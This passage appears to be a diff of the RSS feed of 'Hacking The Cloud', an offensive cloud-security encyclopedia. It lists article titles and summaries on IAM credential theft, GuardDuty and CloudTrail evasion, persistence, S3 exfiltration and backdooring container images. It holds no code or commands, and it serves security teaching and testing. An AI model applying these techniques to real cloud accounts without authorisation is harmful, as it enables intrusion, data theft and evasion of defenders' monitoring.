credentials.https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ Intercept SSM Communications With access to an EC2 instance you can intercept, modify, and spoof SSM communications.https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Bypass GuardDuty Pentest Findings for the AWS CLI Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ Tue, 12 Nov 2024 03:00:45 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ AWS CLI Tips and Tricks A collection of tips and tricks for using the AWS CLI.https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/ Mon, 04 Nov 2024 03:15:10 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/ DNS and CloudFront Domain Takeover via Deleted S3 Buckets How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ Wed, 30 Oct 2024 21:58:21 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ Run Command Abuse Utilise Azure RunCommands for execution and lateral movement.https://hackingthe.cloud/azure/run-command-abuse/ Sat, 05 Oct 2024 05:04:44 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/run-command-abuse/ Exploiting Misconfigured GitLab OIDC AWS IAM Roles Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ Sun, 01 Sep 2024 22:56:49 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ Steal IAM Credentials and Event Data from Lambda Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Tue, 20 Aug 2024 01:29:51 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Abusing Misconfigured Role Trust Policies with a Wildcard Principal How to take advantage of misconfigured role trust policies that have wildcard principals.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ Sun, 04 Aug 2024 21:24:46 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ Enumerate Org/Folder/Project Permissions + Individual Resource Permissions Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Sun, 14 Jul 2024 21:50:00 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Abusing Managed Identities Abusing Managed Identitieshttps://hackingthe.cloud/azure/abusing-managed-identities/ Sat, 15 Jun 2024 06:21:29 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/abusing-managed-identities/ Discover secrets in public AMIs How to find public AMIs and get stored secrets.https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Wed, 29 May 2024 03:08:56 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Enumerate Root User Email Address from the AWS Console Identify if an email address belongs to the root user of an AWS account.https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Tue, 21 May 2024 20:10:23 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ AWS Organizations Defaults & Pivoting How to abuse AWS Organizations' default behavior and lateral movement capabilities.https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Thu, 07 Mar 2024 02:17:49 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Anonymous Blob Access Finding and accessing files stored in Azure Storage Accounts without authentication.https://hackingthe.cloud/azure/anonymous-blob-access/ Thu, 07 Mar 2024 02:17:49 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/anonymous-blob-access/ Soft Deleted Blobs Recovering and accessing files in private Storage Accounts that have been deleted.https://hackingthe.cloud/azure/soft-deleted-blobs/ Thu, 07 Mar 2024 02:17:49 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/soft-deleted-blobs/ Hacking The Cloud The encyclopedia for offensive security in the cloudhttps://hackingthe.cloud/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/ CI/CDon't An AWS/GitLab CICD themed CTF.https://hackingthe.cloud/aws/capture_the_flag/cicdont/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/capture_the_flag/cicdont/ Loot Public EBS Snapshots How to find and take advantage of exposed EBS snapshots.https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Abusing Elastic Container Registry for Lateral Movement With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Steal EC2 Metadata Credentials via SSRF Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Exfiltrating S3 Data with Bucket Replication Policies Backdooring S3 buckets with Bucket Replication Policies.https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ Abusing Misconfigured ECR Resource Policies How to take advantage of misconfigured AWS ECR private repositories.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ Using Stolen IAM Credentials How to work with stolen IAM credentials and things to consider.https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Create a Console Session from IAM Credentials How to use IAM credentials to create an AWS Console session.https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ Lambda Persistence How to establish persistence on a Lambda function after getting remote code execution.https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ User Data Script Persistence Maintain access to an EC2 instance and it's IAM role via user data scripts.https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ 2022 Wrap-up An end of year summary for Hacking the Cloud in 2022.https://hackingthe.cloud/blog/2022_wrap-up/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2022_wrap-up/ 2023 Wrap-up An end of year summary for Hacking the Cloud in 2023.https://hackingthe.cloud/blog/2023_wrap-up/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2023_wrap-up/ Hacking The Cloud v2: New Look All about the new look for Hacking The Cloud v2.https://hackingthe.cloud/blog/v2_new_look/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/v2_new_look/ Terraform ANSI Escape Using ANSI Escape Sequences to Hide Malicious Terraform Codehttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Terraform Enterprise: Attack the Metadata Service Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Servicehttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Role Chain Juggling Keep your access by chaining assume-role calls.https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ Fri, 09 Feb 2024 02:49:21 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ [Deprecated] Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/deprecated/whoami/ Fri, 02 Feb 2024 00:17:34 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/whoami/ EC2 Privilege Escalation Through User Data How to escalate privileges on an EC2 instance by abusing user data.https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ Tue, 23 Jan 2024 00:25:07 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ AWS IAM Persistence Methods A catalog of methods to maintain access to the AWS control plane.https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Sun, 21 Jan 2024 17:34:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Run Shell Commands on EC2 with Send Command or Session Manager Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Sun, 21 Jan 2024 17:27:28 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Modify GuardDuty Configuration Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ Sun, 21 Jan 2024 17:20:20 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ AWS API Call Hijacking via ACM-PCA By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPChttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ Sat, 13 Jan 2024 20:48:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ Get Account ID from AWS Access Keys Techniques to enumerate the account ID associated with an AWS access key.https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Sat, 13 Jan 2024 01:04:53 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Misconfigured Resource-Based Policies Common misconfigurations of resource-based policies and how they can be abused.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Thu, 11 Jan 2024 08:57:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Bypass Cognito Account Enumeration Controls Leverage a flaw in Cognito's API to enumerate accounts in User Pools.https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ Mon, 08 Jan 2024 15:03:16 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ Abusing Unintended Self-Signup in AWS Cognito How to take advantage of misconfigured Amazon Cognito User Pools.https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Sat, 06 Jan 2024 22:14:28 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Abusing Overpermissioned AWS Cognito Identity Pools How to take advantage of misconfigured Amazon Cognito Identity Pools.https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ Sat, 06 Jan 2024 20:43:40 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ IAM unique identifiers Chart of the IAM unique ID prefixes.https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Thu, 04 Jan 2024 04:45:39 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Data Exfiltration through S3 Server Access Logs Exfiltrate data via S3:GetObject and S3 server access logs.https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Fri, 08 Dec 2023 02:37:35 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/enumeration/whoami/ Sun, 05 Nov 2023 18:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/whoami/ Bypass Credential Exfiltration Detection When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ Wed, 18 Oct 2023 00:06:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ Survive Access Key Deletion with sts:GetFederationToken Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ Mon, 25 Sep 2023 13:24:44 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ Download Tools and Exfiltrate Data with the AWS CLI Using the AWS CLI as a LOLScript to download and exfiltrate data.https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Sat, 15 Jul 2023 15:12:33 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Unauthenticated Enumeration of Azure Active Directory Email Addresses Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.https://hackingthe.cloud/azure/enum_email_addresses/ Wed, 12 Apr 2023 00:53:02 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/enum_email_addresses/ Unauthenticated Enumeration of Google Workspace Email Addresses Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ Wed, 12 Apr 2023 00:53:02 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ S3 Streaming Copy Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environmenthttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ Fri, 17 Feb 2023 04:07:33 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ S3 File ACL Persistence Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ Thu, 26 Jan 2023 01:07:28 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ GCP Goat GCP Goat is the Vulnerable application for learning the GCP Securityhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Fri, 13 Jan 2023 23:48:44 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Privilege Escalation in Google Cloud Platform Privilege escalation techniques for Google Cloud Platform (GCP)https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Fri, 13 Jan 2023 23:48:44 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Hunting GCP Buckets How to find valid and invalid GCP Buckets using toolshttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Fri, 13 Jan 2023 23:48:44 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Bypass GuardDuty Tor Client Findings Connect to the Tor network from an EC2 instance without alerting GuardDuty.https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Mon, 09 Jan 2023 03:01:49 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Brute Force IAM Permissions Brute force the IAM permissions of a user or role to see what you have access to.https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Wed, 28 Dec 2022 18:47:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Enumerate AWS Account ID from an EC2 Instance With access to an ec2 instance, you will be able to identify the AWS account it runs in.https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ Introduction to the Instance Metadata Service An introduction to the Instance Metadata Service and how to access it.https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Introduction to User Data An introduction to EC2 User Data and how to access it.https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Thunder CTF GCP themed CTFhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Enumerate Service Account Permissions Brute force the permissions of a service account to see what you have access to.https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Default Account Information Default information on how accounts and service accounts exist in GCPhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Metadata in Google Cloud Instances Information about the data an attacker can access via GCP's API endpointshttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Security and Constraints Security considerations and constraints that are unique to GCPhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ Fri, 02 Dec 2022 02:06:36 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ \ No newline at end of file + Hacking The CloudThe encyclopedia for offensive security in the cloud.https://hackingthe.cloud/https://github.com/Hacking-the-Cloud/hackingthe.clouden Thu, 05 Dec 2024 19:50:34 -0000 Thu, 05 Dec 2024 19:50:34 -0000 1440 MkDocs RSS plugin - v1.17.0 None Hacking The Cloudhttps://hackingthe.cloud/ Exploiting Public AWS Resources Programmatically - The Playbook A playbook on how to exploit AWS resources that can be misconfigured via resource-based policies.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ Thu, 05 Dec 2024 19:48:07 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ [Deprecated] Enumerate Permissions without Logging to CloudTrail Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ Enumerate AWS Account ID from a Public S3 Bucket Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Unauthenticated Enumeration of IAM Users and Roles Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Derive a Principal ARN from an AWS Unique Identifier How to convert an unique identifier to a principal ARN.https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ AWS IAM Privilege Escalation Techniques Common techniques that can be leveraged to escalate privileges in an AWS account.https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ Prevent Expensive AWS API Actions with SCPs Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Connection Tracking Abuse security group connection tracking to maintain persistence even when security group rules are changed.https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/connection-tracking/ Get IAM Credentials from a Console Session Convert access to the AWS Console into IAM credentials.https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ Intercept SSM Communications With access to an EC2 instance you can intercept, modify, and spoof SSM communications.https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Thu, 21 Nov 2024 02:14:01 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Bypass GuardDuty Pentest Findings for the AWS CLI Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ Tue, 12 Nov 2024 03:00:45 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ AWS CLI Tips and Tricks A collection of tips and tricks for using the AWS CLI.https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/ Mon, 04 Nov 2024 03:15:10 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/ DNS and CloudFront Domain Takeover via Deleted S3 Buckets How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ Wed, 30 Oct 2024 21:58:21 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ Run Command Abuse Utilise Azure RunCommands for execution and lateral movement.https://hackingthe.cloud/azure/run-command-abuse/ Sat, 05 Oct 2024 05:04:44 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/run-command-abuse/ Exploiting Misconfigured GitLab OIDC AWS IAM Roles Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ Sun, 01 Sep 2024 22:56:49 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ Steal IAM Credentials and Event Data from Lambda Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Tue, 20 Aug 2024 01:29:51 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Abusing Misconfigured Role Trust Policies with a Wildcard Principal How to take advantage of misconfigured role trust policies that have wildcard principals.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ Sun, 04 Aug 2024 21:24:46 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ Enumerate Org/Folder/Project Permissions + Individual Resource Permissions Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Sun, 14 Jul 2024 21:50:00 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Abusing Managed Identities Abusing Managed Identitieshttps://hackingthe.cloud/azure/abusing-managed-identities/ Sat, 15 Jun 2024 06:21:29 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/abusing-managed-identities/ Discover secrets in public AMIs How to find public AMIs and get stored secrets.https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Wed, 29 May 2024 03:08:56 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Enumerate Root User Email Address from the AWS Console Identify if an email address belongs to the root user of an AWS account.https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Tue, 21 May 2024 20:10:23 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ AWS Organizations Defaults & Pivoting How to abuse AWS Organizations' default behavior and lateral movement capabilities.https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Thu, 07 Mar 2024 02:17:49 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Anonymous Blob Access Finding and accessing files stored in Azure Storage Accounts without authentication.https://hackingthe.cloud/azure/anonymous-blob-access/ Thu, 07 Mar 2024 02:17:49 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/anonymous-blob-access/ Soft Deleted Blobs Recovering and accessing files in private Storage Accounts that have been deleted.https://hackingthe.cloud/azure/soft-deleted-blobs/ Thu, 07 Mar 2024 02:17:49 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/soft-deleted-blobs/ Hacking The Cloud The encyclopedia for offensive security in the cloudhttps://hackingthe.cloud/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/ CI/CDon't An AWS/GitLab CICD themed CTF.https://hackingthe.cloud/aws/capture_the_flag/cicdont/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/capture_the_flag/cicdont/ Loot Public EBS Snapshots How to find and take advantage of exposed EBS snapshots.https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Abusing Elastic Container Registry for Lateral Movement With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Steal EC2 Metadata Credentials via SSRF Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Exfiltrating S3 Data with Bucket Replication Policies Backdooring S3 buckets with Bucket Replication Policies.https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ Abusing Misconfigured ECR Resource Policies How to take advantage of misconfigured AWS ECR private repositories.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ Mon, 19 Feb 2024 21:07:18 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ Using Stolen IAM Credentials How to work with stolen IAM credentials and things to 